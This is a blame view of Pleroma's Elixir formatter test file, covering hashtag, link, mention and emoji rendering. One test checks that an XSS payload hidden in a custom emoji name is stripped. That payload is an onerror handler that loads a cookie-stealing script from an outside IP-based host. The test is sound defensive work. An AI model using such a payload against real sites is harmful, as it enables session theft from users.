formatter_test.exs 9.35 KB
Newer Older
lain's avatar
lain committed
1 2
defmodule Pleroma.FormatterTest do
  alias Pleroma.Formatter
3
  alias Pleroma.User
lain's avatar
lain committed
4 5
  use Pleroma.DataCase

6
  import Pleroma.Factory
Maksim's avatar
Maksim committed
7

Maksim's avatar
Maksim committed
8 9 10 11
  setup_all do
    Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
    :ok
  end
12

lain's avatar
lain committed
13 14 15
  describe ".add_hashtag_links" do
    test "turns hashtags into links" do
      text = "I love #cofe and #2hu"
lain's avatar
lain committed
16 17

      expected_text =
ValD's avatar
ValD committed
18
        "I love <a data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
lain's avatar
lain committed
19 20

      tags = Formatter.parse_tags(text)
lain's avatar
lain committed
21 22 23

      assert expected_text ==
               Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
lain's avatar
lain committed
24 25 26 27
    end
  end

  describe ".add_links" do
lain's avatar
lain committed
28
    test "turning urls into links" do
29
      text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
lain's avatar
lain committed
30

lain's avatar
lain committed
31
      expected =
32
        "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
lain's avatar
lain committed
33 34

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
Roger Braun's avatar
Roger Braun committed
35 36 37

      text = "https://mastodon.social/@lambadalambda"

lain's avatar
lain committed
38
      expected =
39
        "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
lain's avatar
lain committed
40 41

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
Roger Braun's avatar
Roger Braun committed
42

lain's avatar
lain committed
43 44 45
      text = "https://mastodon.social:4000/@lambadalambda"

      expected =
46
        "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
lain's avatar
lain committed
47 48 49

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected

Roger Braun's avatar
Roger Braun committed
50 51 52
      text = "@lambadalambda"
      expected = "@lambadalambda"

lain's avatar
lain committed
53
      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
Roger Braun's avatar
Roger Braun committed
54 55

      text = "http://www.cs.vu.nl/~ast/intel/"
56
      expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
Roger Braun's avatar
Roger Braun committed
57

lain's avatar
lain committed
58
      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
eal's avatar
eal committed
59 60 61

      text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"

lain's avatar
lain committed
62
      expected =
63
        "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
lain's avatar
lain committed
64 65

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
eal's avatar
eal committed
66 67 68

      text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"

lain's avatar
lain committed
69
      expected =
70
        "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
lain's avatar
lain committed
71 72

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
lain's avatar
lain committed
73 74 75 76

      text = "https://www.google.co.jp/search?q=Nasim+Aghdam"

      expected =
77 78 79 80 81 82 83
        "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected

      text = "https://en.wikipedia.org/wiki/Duff's_device"

      expected =
84
        "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
lain's avatar
lain committed
85 86

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
lain's avatar
lain committed
87 88 89 90 91 92 93

      text = "https://pleroma.com https://pleroma.com/sucks"

      expected =
        "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
94 95 96 97 98 99

      text = "xmpp:contact@hacktivis.me"

      expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
100 101 102 103 104 105 106

      text =
        "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"

      expected = "<a href=\"#{text}\">#{text}</a>"

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
lain's avatar
lain committed
107 108 109 110 111
    end
  end

  describe "add_user_links" do
    test "gives a replacement for user links" do
href's avatar
href committed
112
      text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
lain's avatar
lain committed
113
      gsimg = insert(:user, %{nickname: "gsimg"})
lain's avatar
lain committed
114 115 116

      archaeme =
        insert(:user, %{
href's avatar
href committed
117 118
          nickname: "archa_eme_",
          info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
lain's avatar
lain committed
119 120
        })

lain's avatar
lain committed
121 122 123 124 125 126 127
      archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

      mentions = Pleroma.Formatter.parse_mentions(text)

      {subs, text} = Formatter.add_user_links({[], text}, mentions)

      assert length(subs) == 3
lain's avatar
lain committed
128
      Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
lain's avatar
lain committed
129

lain's avatar
lain committed
130
      expected_text =
ValD's avatar
linting  
ValD committed
131 132
        "<span><a data-user='#{gsimg.id}' class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a data-user='#{
          archaeme.id
href's avatar
href committed
133
        }' class='mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span><a data-user='#{
ValD's avatar
linting  
ValD committed
134 135
          archaeme_remote.id
        }' class='mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
lain's avatar
lain committed
136 137

      assert expected_text == Formatter.finalize({subs, text})
lain's avatar
lain committed
138
    end
139

140 141 142 143 144 145 146 147 148 149 150 151 152
    test "gives a replacement for user links when the user is using Osada" do
      mike = User.get_or_fetch("mike@osada.macgirvin.com")

      text = "@mike@osada.macgirvin.com test"

      mentions = Formatter.parse_mentions(text)

      {subs, text} = Formatter.add_user_links({[], text}, mentions)

      assert length(subs) == 1
      Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

      expected_text =
ValD's avatar
ValD committed
153
        "<span><a data-user='#{mike.id}' class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
154 155 156 157

      assert expected_text == Formatter.finalize({subs, text})
    end

158 159 160 161 162 163 164 165 166 167 168
    test "gives a replacement for single-character local nicknames" do
      text = "@o hi"
      o = insert(:user, %{nickname: "o"})

      mentions = Formatter.parse_mentions(text)

      {subs, text} = Formatter.add_user_links({[], text}, mentions)

      assert length(subs) == 1
      Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

ValD's avatar
linting  
ValD committed
169 170 171
      expected_text =
        "<span><a data-user='#{o.id}' class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"

172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187
      assert expected_text == Formatter.finalize({subs, text})
    end

    test "does not give a replacement for single-character local nicknames who don't exist" do
      text = "@a hi"

      mentions = Formatter.parse_mentions(text)

      {subs, text} = Formatter.add_user_links({[], text}, mentions)

      assert length(subs) == 0
      Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

      expected_text = "@a hi"
      assert expected_text == Formatter.finalize({subs, text})
    end
lain's avatar
lain committed
188 189 190 191
  end

  describe ".parse_tags" do
    test "parses tags in the text" do
192
      text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
lain's avatar
lain committed
193

lain's avatar
lain committed
194
      expected = [
195
        {"#Test", "test"},
lain's avatar
lain committed
196 197 198 199 200 201 202 203
        {"#working", "working"},
        {"#漢字", "漢字"},
        {"#は", "は"}
      ]

      assert Formatter.parse_tags(text) == expected
    end
  end
204 205 206 207 208 209 210 211 212 213 214

  test "it can parse mentions and return the relevant users" do
    text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"

    gsimg = insert(:user, %{nickname: "gsimg"})
    archaeme = insert(:user, %{nickname: "archaeme"})
    archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

    expected_result = [
      {"@gsimg", gsimg},
      {"@archaeme", archaeme},
lain's avatar
lain committed
215
      {"@archaeme@archae.me", archaeme_remote}
216 217 218 219
    ]

    assert Formatter.parse_mentions(text) == expected_result
  end
lain's avatar
lain committed
220 221 222 223

  test "it adds cool emoji" do
    text = "I love :moominmamma:"

lain's avatar
lain committed
224
    expected_result =
kaniini's avatar
kaniini committed
225
      "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
lain's avatar
lain committed
226

lain's avatar
lain committed
227 228 229
    assert Formatter.emojify(text) == expected_result
  end

kaniini's avatar
kaniini committed
230 231 232 233 234 235 236 237 238 239 240 241 242 243 244
  test "it does not add XSS emoji" do
    text =
      "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"

    custom_emoji = %{
      "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
        "https://placehold.it/1x1"
    }

    expected_result =
      "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"

    assert Formatter.emojify(text, custom_emoji) == expected_result
  end

lain's avatar
lain committed
245 246 247 248
  test "it returns the emoji used in the text" do
    text = "I love :moominmamma:"

    assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
lain's avatar
lain committed
249
  end
250 251 252 253 254 255 256 257 258 259

  test "it returns a nice empty result when no emojis are present" do
    text = "I love moominamma"
    assert Formatter.get_emoji(text) == []
  end

  test "it doesn't die when text is absent" do
    text = nil
    assert Formatter.get_emoji(text) == []
  end
lain's avatar
lain committed
260
end